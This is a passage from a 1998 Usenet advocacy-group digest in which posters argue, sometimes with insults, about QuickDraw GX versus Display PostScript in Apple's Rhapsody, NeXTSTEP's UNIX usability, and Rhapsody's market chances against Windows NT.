> > I choose neither. I choose to focus on what Rhapsody can do, and
> that's
> > all.
>
>
>
>
> So GX can offer nothing more to Rhaposdy than what Apple has already lifted
> from it (which you aren't even sure about)?
>
> Kool.
>
> Now we know where you are coming from, Mr. Ragosta.
Hey, moron.
How about leaving me out of your discussions. I wasn't involved--in case
reading news headers is above your head.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 01:15:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B149E99C-480C9@206.165.43.119>
References: <6g20i8$gki1@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
> If you resort to Postscript code or the provided C function equivelents,
> this is easily done. Noone has seen fit to put a proper OO interface on
> this capability. Where do you get the idea that these things can not be
> done ? Are you TOTALY ignorant ?
Patiently:
Maybe I've misunderstood something here.
You're saying that PS/DPS has built into it bitmap handling that implements
all of the functionality of GX ink objects so that you can draw a bitmap
and achieve the same image that GX does using a single function at the PS
level so that it all gets done in a single pass through the bitmap?
In this case, it can't be just a matter of wrapping some PS calls in an OOP
wrapper, since we want realtime (more or less) drawing of a bitmap in a
single pass such as is obtained using the GX ink object's parameters.
In other words, you'd need to have a DPS primitive for bitmap drawing that
does what GX does in every case.
E.G., apply 20% red, 30% green, 50% blue of the shape to 40% red, 50%
green, 20% blue of the destination and only allow 45% of the red, 85% of
the green and 15% of the blue of the resulting image to actually be drawn
on the screen, but with the blue mapped to the green, the green mapped to
the red and the red mapped to the blue, AND the alpha channel is determined
by the mathematically derived luminance of the source image.
Oh, and while we're at it, make sure that only reds that are within the
range of 15% to 65% are drawn, while blues outside the range of 35% to 55%
are drawn. Greens are passed through as are the alpha values.
Oh yes, and make sure that the source colors can only be within or without
certain ranges before doing the calculations with the source matrix. Ditto
with the destination colors and the calculations with the destintation
matrix.
A Don't forget to allow for reversing the effects of the minimum/maximum
values for the result image and to allow the reverse evaluation of source
and destination, so that it would appear that a shape is drawn *under*
another shape using the above modifications.
You're saying that DPS already contains a single primitive that handles the
above in one-pass drawing for a bitmap?
I humbly bow to the ultimate superiority of DPS because I was under the
impression that DPS doesn't handle that kind of thing using a single
primitive.
Oh yes, and here's that primitive:
GXDrawShape(myBitmap);
The reason for this is very simple. GX colors are implemented in ink
objects. An ink object contains a description of color, color space,
ColorSynch info, etc., as well as a transfermode struct, which can refer to
a different color space.
Each ink contains a 5x4 source, destination and device matrix that
modifies how each color component of a given shape/pixel is used in drawing
a specific color channel. The default for source, destination and result
matrices is the identity matrix, which would pass zeros for every color
channel except along the diagnal.
Every color channel can be drawn using a different Porter-Duff composite
mode. This is further modified by source/destination/device minium/maximum
values (0x0000 through 0xFFFF) and the clamp minimum/maximum (also Ox0000
through 0xFFFF) as well as various flags.
As I said, all of this is contained in the shape's Ink object and
"GXDrawShape" is able to use this info as needed. As to how it is applied
internally, I can't say, but I'm willing to bet that it draws faster than
using repeated applications of DPS bitmap drawing primitives to obtain the
same result would.
Which is why I keep saying: as long as the equivalent GX primtives are not
implemented on the DPS side, I couldn't possibly implement an OOP
equivalent of GX in Rhaposdy. That's something that Apple has to do.
Perhaps they have already done it and we will see it in DR2 of Rhaposdy.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 03 Apr 1998 19:32:07 -0500
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5d8eywho8.fsf@ai.mit.edu>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> writes:
> There was, of course, trying to get it to stop using NetInfo, [...]
> trying to get gcc [...] pppd to compile [...] NFS mounts...
Although all of these are fairly easy to solve once you know where to
look, I'll have to in general agree with this. The problem is that
NeXTSTEP is a far better NeXTSTEP system than it is a UNIX system. If
you want to use NeXTSTEP as a UNIX box right after plugging it in,
you're going to have problems. I can see why Linux works better for
you, too -- you expect certain things from a UNIX box, and NeXTSTEP
really fell down in those areas.
On the other hand, I *love* my slab. I've been using it as a NeXTSTEP
box, compiling UNIX programs as I need them, and mostly creating apps
for my own use, and it's converted me totally. There's a reason why
this box is still sitting on my desk six years later, while my wife
complains that I can't even get a Java-enabled browser to work :-)
I'm sorry that you don't feel the same way, but given the way you want
to work with the system, I understand.
> user can't install this package? shit, retry as root. logout, relog
> in, install, logout, relog in. Waiting...
Ouch. Too bad no one told you about OpenSesame. The one savior of my
NeXT installation experiences.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: James Youngman <JYoungman@vggas.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 03 Apr 1998 10:28:53 +0100
Organization: VG Gas Analysis Systems
Sender: james@noisy.vggas.com
Message-ID: <u11zvfp82y.fsf@noisy.vggas.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <35239B51.2D38@be1151.pd3.ford.com> <slrn6i7f86.feq.danielt@thranx.dgii.com> <6g0fs1$hng$1@interport.net>
To: float@interport.net
>>>>> "float" == float <float@interport.net> writes:
float> Daniel Taylor (danielt@thranx.dgii.com) wrote:
float> : Many commercial Unix's use utilities derived from the GNU utilities
float> : that form the foundation of Linux's userspace, and the FSF's glibc
float> : is pretty close to an industry standard, as is their C compiler.
float> Who uses glibc besides Linux?
Hurd and 86open.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 23:07:32 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3525C014.1597@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com>
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Charles Swiger wrote:
[cut]
> > But I can understand why your shell seemed so useless, if you really
> > used the box as it shipped; you didn't have filename completion,
>
> False. Even the standard csh supports filename completion.
Not as shipped, no.
> > ANSI color directory listings,
>
> Sheesh! Since the majority of NeXT hardware sold was mono systems, I think
> they could be forgiven for not shipping a color 'ls'.
color-ls on a mono screen at least gives bold. On a NeXT four-color
screen it would have been useful in a significant way. Have you used
color-ls on a mono screen? At the very least, it at least highlights
directories, causing a significant jump in readability (how significant?
Probably more significant than left-handed scrollbars).
> > any convenience shells whatsoever, etc., etc.
>
> Modern versions of the OS ship with zsh. Back in 1988 thru the early 1990's,
> /bin/sh and /bin/csh were the two standard shells that everyone shipped, and
> damned few vendors provided anything else.
>
> Besides, what were you looking for? It was probably available....
tcsh, ksh...
[cut]
> Fine. focus-follows-mouse is available for NEXTSTEP; the rather simple
> change to the WindowServer.ps code has been around for years and years.
Which "Just Works"?
"Just fire up ResEdit, edit your System, be careful not to change
anything but the following: offset 0x0340, change 0010 AF3C BB01 A923 to
0045 243B 13A9 A509. It's simple, really!"
I've heard of this sort of "Just Works" before.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 11:12:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14A7589-1D623@206.165.43.27>
References: <6g2c4h$m4p$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> >
> > GXDrawShape(myBitmap);
>
> Aside from all the other setup issues you mean.
That setup is the creation of the Ink object with all parameters set in the
various structs. This is done one time per setup. You can have a database
of pre-set Ink objects if you like, and references to any ink object can be
shared by one or more shapes. Every time you do GXDrawShape(myShape) the
ink object taht is referenced in myShape is used to draw the shape. Often,
if the shape hasn't changed size/shape and the ink object hasn't changed
parameters, GX can cache a great deal of info about the final appearance of
the shape, even accounting for scaling and so on.
Setup is a one-time issue for any given ink-object with any given
parameters.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 11:14:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14A7615-1F6FA@206.165.43.27>
References: <6g2c4h$m4p$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
> I guess you're just pointing out how bad a programmer you are, or
> alternately how lazy you are.
_Ad hominems_ now, Maury?
The fact that the GX team did exactly this
> WITHOUT DPS to start from suggests they could have done it five times
> faster
> with it and YB.
>
> You blast us for saying "why would anyone do that", yet your entire
> aregument is "I don't know how to do that". Yeah well, you know, we
don't
> care.
But DPS doesn't do this. NeXT had to add transparency operators which are
not part of PS and they still don't print as well to PS printers as GX
transparencies (with GX printing installed) do. You have no idea how long
it took the NeXT people to add in transparency operators so that they would
work well with the rest of DPS, so for you to suggest that I am lazy or
whatever is merely kill-file material
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net> <slrn6i7soc.kjl.sal@panix3.panix.com> <3523F54C.6F87@CONVEX.COM> <slrn6ia4vh.pfp.sal@panix3.panix.com> <352577B2.2E0A@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3525b2d0.0@206.25.228.5>
Date: 4 Apr 98 04:10:56 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> > >Great! My usage patterns are markedly different.
> >
> > Yes, I spend more time working and you spend more time configing.
> > :)
> Yack yack yack. A John Kheit parrot. I use configuration and
> management to enable better work productivity. I crank projects
> out because I know what I'm doing. My workspace and overall
> jurisdiction are flexible because I know how to make things happen
> quickly.
Let me try being a Michael Peck parrot here. "I *don't* use
configuration and management to enable better work productivity.
I crank projects out because I know what I'm doing. My workspace
and overall jursidiction are *not* flexible because I know how to
make things happen quickly." Interesting. It's just as meaningless
in the converse.
> Statements that "I don't waste my time with that" are warmed-over
> bullshit excuses from an earlier era when businesses still believed
> it was okay to accept a vendor's out-of-the-box solution. As a
> matter of fact, lots of businesses still believe that, and they
> get that solution from Microsoft.
Those old warmed over excuses are from business people that pay
people's salaries. All your overraught melodramatic bombast will
never amount to the persuasiveness of someone paying out money.
The major difference is you speak, while they act. Their actions
will always speak louder. All I know is that your a piece of lint
on a great tarp. The vast majority of the material that enters a
corporation is the kind that's likely to diddle. As a boss, I'm
not going to be amenable to the needs of a minor speck of flint.
I don't care about this little piece of flint. If it annoys me
enough, I'll get rid of it. When I'm paying the bills I want my
overall bottom line to be maximized. That some piece of lint
somewhere might do better and be more productive than the rest of
my material is immaterial. You're being such an unbelievably
productive user, your ability to resist diddling, may be exceptional,
but it doesn't disprove the general rule.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: 31 Mar 1998 18:17:18 GMT
Organization: P & L Systems
Message-ID: <6frbve$ooj$2@ironhorse.plsys.co.uk>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <351C3AF4.E574B522@primenet.com>
<352006E0.242A66B7@sdt.com> <uj23efzsd4e.fsf@bambi.visi.com>
<6fpts2$cov@news.or.intel.com> <joe.ragosta-3103980821360001@wil33.dol.net>
<6fqro6$7mh$1@nargun.cc.uq.edu.au> <m3lntrdkt4.fsf@biff.bitsko.slc.ut.us>
<6fr0t6$efj$1@nargun.cc.uq.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: drsmithy@usa.net
In <6fr0t6$efj$1@nargun.cc.uq.edu.au> "Christopher Smith" wrote:
> Nothing's to pedantic for Joe :)
>
"too" :-)
Best wishes,
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 17:02:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ia5gd.pfp.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <slrn6i2sbf.a5o.sal@panix3.panix.com> <01bd5e69$808ea150$4fefbda5@DTM41727>
On 2 Apr 1998 19:11:49 GMT, Ron Peterson <peterrj@mail.state.wi.us> wrote:
>It would be nice to bundle the C compiler and Unix libraries so that Unix
>applications
>can be compiled without buying the entire software development kit.
You could just download it off the web, but; I agree with you. Apple
should include a /goodies/gnu/* tree on the install CD with a full
lib of Gnu tools like Gcc and bash.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 17:14:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ia68a.pfp.sal@panix3.panix.com>
References: <B1494FA4-42091@204.210.20.147>
On 2 Apr 98 14:21:53 -0800, William V. Campbell Jr. <wcampbe1@san.rr.com> wrote:
>Hey guys, take a hint. Rhapsody *is* for the open minded, not for the
>Kenneth Kinders, Rex Rileys et al. of the world. If he has no need for it
I consider myself a Rhapsody advocate, and I was the one who started this
thread a few monmths back. I do think it is very ironic that you are implying
that anyone who doesn't like Rhapsody is not openminded.
>Let him put out his mis-information and his double-talk when he is
>corrected on the merits of Rhapsody. He's just jerking your collective
>chains and enjoying every minute of it.
He has admited to knowing very little about it. It doesn't sound like he is
purposly telling lies about it. He has even prefaced his statements with
admisions of knowing little about it.
>Rhapsody is the Future.
The future is a big place, and there is room for Linux, *BSD, Nt and anything
new that comes along. Rhapsody can not be all things to all users. Nothing can.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Fri, 03 Apr 1998 09:47:01 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0304980947010001@dante.eng.uci.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <rmcassid-0204980912350001@dante.eng.uci.edu> <6g23j4$n50$1@ha2.rdc1.sdca.home.com>
In article <6g23j4$n50$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
Riley) wrote:
>rmcassid@uci.edu wrote:
>>I think they need to beat NT 5.0 to market by just enough that some
>>developers will actually have to make an evaluation for new products: NT
>>or YB/NT. They can develop on Rhapsody if they want, but nobody will
>>really expect to deploy there for some time. *Although*, if Rhapsody is
>>getting the kind of attention that Allegro has, I think we'll be *really*
>>happy. Allegro is amazing, IMO, considering that it still is MacOS. Just
>>amazing.
>
>Interesting market dynamic you bring up, here. Apple can get Rhapsosy into
>play with NT buyers with a "TwoFer" strategy (read 2 for 1). Buying Rhapsody
>gets them options on hardware, development, operating systems and Java. Lets
>say NT buyers will "opt" out of MICROSOFT programs. That's huge leverage on
>the development side. OK... but its still not selling seats or servers.
No, it is not selling seats or servers. At least not to the 'married to
MS' crowd. Where it *should* sell seats or servers is to those that are
torn between NT and unix (and there are many in this crowd) and see that
NT/YB is getting adoption and start to take a long hard look at Rhapsody.
Still a long, slow road for Rhapsody outside of Apple's core customers,
much as it was for NT.
>GodBless Avie's MachSquad but it sounds like SMP is late to the CR1 release
>party from the ink being splattered in the media. Through my own sheer
>ignorance and stupidity SMP delivery may have more to do with hardware or
>marketing so Avie & Friends? No aspersions intended.
SMP does look to be late, but considering that G4 is supposed to do
strange things in the SMP arena and G3 does nothing, I don't see the rush
right now. It will hold a lot of people back though. Everyone here has
been very clear on how much work it would take to get SMP working, I'm not
really surprised. Furthermore, I doubt anyone will grab Rhapsody and
immediately shove it into some huge role right away, so I think there is
*some* time.
>Does this get Rhapsody to NT5.0's release party?
Considering that CR2 or CR1.1 should be out around NT5.0 release, I think
we should be pleased with the timing. Any slips in Rhapsody roll-out are
likely a gift from MS.
-Bob Cassidy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Fri, 03 Apr 1998 09:57:50 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0304980957500001@dante.eng.uci.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <rmcassid-0204980912350001@dante.eng.uci.edu> <6g24dm$n50$2@ha2.rdc1.sdca.home.com>
In article <6g24dm$n50$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
Riley) wrote:
>rmcassid@uci.edu wrote:
>>Isn't Apple pushing Java + YB? I think this is *exactly* the right thing
>>to do. They can jump onto Java the Java bandwagon and still give people a
>>better way to solve the problem.
>My only wish is for "some" of your attitude to rub-off and infect Apple's
>marketing message. Snails, Toasted Suits and Different sloganisms hopefully
>lead to serious attention when the "real message" gets delivered.
They need to market to the blue suits on this and WO and such. I don't
know if that is happening (I'll ask a few blue suits...) or if it is
forthcoming, but I think people are starting to realize that they're stuck
with Apple being around for a while longer - step #1.
>>Is JavaOS really capturing mindshare in
>>the markets that Apple is after? I don't see it, yet.
>>
>IBM + Sun on a co-development/marketing of "JavaOS for Business" grabbed a
>"significant" amount of BlueSuit's bandwidth.
I like that - very descriptive.
>I don't see anything, yet. No
>oner saw "anything" of IBM's fabled TaligentOS. But that doesn't mean they
>don't command attention cum mindshare. So yeah, the atmosphere is
>contaminated with messages through which Apple will have to pierce through.
>That's what I see...
That's true. Since Apple has no presence in this market (aside from what
Next brought) they really have nowhere to go but up. Apple would *really*
do well to get an IBM Solutions type group to endorse their products where
appropriate, however. Maybe Perot Systems, maybe someone else. I think
that is where they need to sell Rhapsody. Trickle down.
-Bob Cassidy
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 98 11:02:01 -0800
Organization: Road Runner
Message-ID: <B14A722D-4877BF@204.210.20.147>
References: <slrn6ia68a.pfp.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news-server/comp.sys.next.advocacy,
nntp://news-server/comp.os.linux.advocacy
Salvatore Denaro<Salvatore Denaro <sal@panix3.panix.com> wrote:
On 2 Apr 98 14:21:53 -0800, William V. Campbell Jr. <wcampbe1@san.rr.com>
wrote:
>>Hey guys, take a hint. Rhapsody *is* for the open minded, not for the
>>Kenneth Kinders, Rex Rileys et al. of the world. If he has no need for it
>I consider myself a Rhapsody advocate, and I was the one who started this
>thread a few monmths back. I do think it is very ironic that you are
>implying
>that anyone who doesn't like Rhapsody is not openminded.
And a astute advocate you are. My point is that there is a big difference
between *honestly* stating your position and intentionally putting out FUD.
This is what I see Mr. Kinder and Mr. English doing. I admit that I, being
a MacOS user, have been somewhat guilty of being narrow-minded when it
comes to Rhapsody. Through this newsgrp. my eyes have been opened to the
many terrific OS platforms out there. I would love to try Linux, Mklinux
and the like. All I am saying is give OPENSTEP/Rhapsody the same courtesy
is one purports to be open-minded.
>>Let him put out his mis-information and his double-talk when he is
>>corrected on the merits of Rhapsody. He's just jerking your collective
>>chains and enjoying every minute of it.
>He has admited to knowing very little about it. It doesn't sound like he
is
>purposly telling lies about it. He has even prefaced his statements with
>admisions of knowing little about it.
I am no programmer, nor am I a developer and I will not play one on the
net. So it seems to me, if you know *little* about a subject, why argue
*alot* on it. Sure, it can be a learning experience if that is your goal,
but come on, this thread is over a month old. I was just trying the point
out their seemingly close-mindness on the subject of Rhapsody.
>>Rhapsody is the Future.
>The future is a big place, and there is room for Linux, *BSD, Nt and
anything
>new that comes along. Rhapsody can not be all things to all users. Nothing
>can.
Correct you are!
take care,
Soup
"It would be better if you begin to teach others only after you yourself
have learned something."
-Albert Einstein-
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 14:15:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2qut$49h$1@ns3.vrx.net>
References: <6g2c4h$m4p$2@ns3.vrx.net> <B14A7615-1F6FA@206.165.43.27>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B14A7615-1F6FA@206.165.43.27> "Lawson English" claimed:
> > I guess you're just pointing out how bad a programmer you are, or
> > alternately how lazy you are.
>
> _Ad hominems_ now, Maury?
No, that would be me comparing you to someone.
> But DPS doesn't do this.
I'm seriously considering killfiling you. THAT IS THE SINGLE MOST IGNORANT
AND IRRITATING SENTANCE POSTED IN WEEKS.
> NeXT had to add transparency operators which are
> not part of PS and they still don't print as well to PS printers as GX
> transparencies (with GX printing installed) do. You have no idea how long
> it took the NeXT people to add in transparency operators so that they would
> work well with the rest of DPS,
Neither do you. For all we know it took 1 day.
> so for you to suggest that I am lazy or
> whatever is merely kill-file material
Bla bla bla bla. "I'll ignore all the good points you've brought up about
speed and such, and focus on the negatives I can, then I'll simply state that
point over and over again like it's more valid the more I say it".
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 12:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14A846F-55642@206.165.43.27>
References: <6g2c4h$m4p$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B149E99C-480C9@206.165.43.119> "Lawson English" claimed:
> >> You're saying that PS/DPS has built into it bitmap handling that
> implements
> > all of the functionality of GX ink objects so that you can draw a
bitmap
> > and achieve the same image that GX does using a single function at the
PS
> > level so that it all gets done in a single pass through the bitmap?
>
> And this is a perfect example of the pointless troll posts you've been
> making since you started this flap. He didn't say ANYTHING about
> ANYTHING to
> do with GX, he said a lot about YOU. Yet here are are replying about GX.
Actually, he was asking if I was totally ignorant [presumeably of what DPS
+ Rhaposdy framework] can do to draw images like GX], which by extension
means that DPS can do what I said GX can do.
(otherwise, why would he be calling me ignorant [of what DPS + Rhaposdy
framework can do]?)
Now, you can focus on my stupidity, my ignorance, my laziness, my
incompetence as a programmer, my <your-most-favored-insult-goes-here> or
you can focus on the issue of what GX can do that DPS/Rhapsody graphics
cannot [at least in approximately the same time-span] and _vice versa_ and
why it might be good, at some point, to make sure that Rhaposdy graphics
CAN do these things.
Your choice, Maury.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 13:33:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14A9684-99602@206.165.43.27>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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William V. Campbell Jr. <wcampbe1@san.rr.com> said:
> And a astute advocate you are. My point is that there is a big difference
> between *honestly* stating your position and intentionally putting out
> FUD.
> This is what I see Mr. Kinder and Mr. English doing. I admit that I,
being
> a MacOS user, have been somewhat guilty of being narrow-minded when it
> comes to Rhapsody.
Gee, thanks. Want to give me examples?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 14:59:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14AAAD0-E5AEE@206.165.43.27>
References: <6g2qut$49h$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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> > NeXT had to add transparency operators which are
> > not part of PS and they still don't print as well to PS printers as GX
> > transparencies (with GX printing installed) do. You have no idea how
long
> > it took the NeXT people to add in transparency operators so that they
> would
> > work well with the rest of DPS,
>
> Neither do you. For all we know it took 1 day.
>
I seriously doubt it. ARe you being serious or what?
> > so for you to suggest that I am lazy or
> > whatever is merely kill-file material
>
> Bla bla bla bla. "I'll ignore all the good points you've brought up
about
> speed and such, and focus on the negatives I can, then I'll simply state
that
> point over and over again like it's more valid the more I say it".
What good points about speed? GX, as far as I can tell, does its processing
of any and all variations of GX ink-color-transfer-modes in a single pass,
including those for bitmaps. Unless primitives are deliberately set up to
do this in DPS, DPS won't do this when doing GX-like color manipulations.
This likely won't matter much for a vector graphic, but GX implements the
same color-handling for bitmaps as it does for vectors.
I don't know for sure how GX does its thing, but it isn't rocket-science OR
science fiction/fantasy to assume that it does its processing of bitmaps in
one pass since that is the easiest and most convenient way to do it, as
